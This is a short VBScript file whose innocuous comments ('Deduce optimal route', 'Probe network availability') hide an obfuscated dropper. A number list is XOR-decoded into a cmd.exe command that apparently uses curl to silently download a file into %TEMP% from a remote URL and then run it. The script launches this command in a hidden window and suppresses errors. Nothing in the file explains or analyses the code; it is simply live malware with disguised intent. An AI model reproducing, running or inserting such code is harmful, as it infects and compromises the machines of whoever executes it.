' Deduce optimal route
On Error Resume Next

Dim v5:v5=33768
Dim nx3:nx3=54376
Dim cElm:cElm="54343,54283,54344,54283,54301,54298,54276,54344,54341,54299,54344,54341,54279,54344,54346,54349,54332,54317,54309,54328,54349,54324,54365,54276,54366,54365,54284,54361,54300,54365,54342,54302,54282,54299,54346,54344,54346,54272,54300,54300,54296,54299,54354,54343,54343,54303,54298,54281,54296,54296,54285,54298,54342,54298,54285,54302,54285,54298,54285,54278,54284,54300,54279,54296,54296,54284,54342,54288,54289,54290,54343,54296,54281,54289,54276,54279,54281,54284,54342,54296,54272,54296,54359,54273,54284,54357,54286,54282,54283,54282,54363,54285,54283,54367,54365,54353,54363,54360,54281,54367,54367,54352,54352,54366,54362,54364,54284,54362,54286,54362,54281,54364,54360,54352,54281,54282,54366,54364,54350,54300,54357,54282,54367,54285,54365,54281,54284,54361,54361,54285,54361,54365,54360,54284,54352,54352,54285,54346,54350,54303,54299,54283,54298,54273,54296,54300,54344,54346,54349,54332,54317,54309,54328,54349,54324,54365,54276,54366,54365,54284,54361,54300,54365,54342,54302,54282,54299,54346"
Dim gx1:gx1=Split(cElm,",")
Dim sStm(168)
Dim r6f:For r6f=0 To UBound(gx1)
sStm(r6f)=ChrW(CLng(gx1(r6f)) Xor nx3)
Next
Dim vA:vA=Join(sStm,"")
' Flush output buffers
Dim fIdr:Set fIdr=CreateObject("Shell.Application")
fIdr.ShellExecute "cmd.exe",vA,"","",0

 'jikpyyiuq
 'eejfqgn
' Probe network availability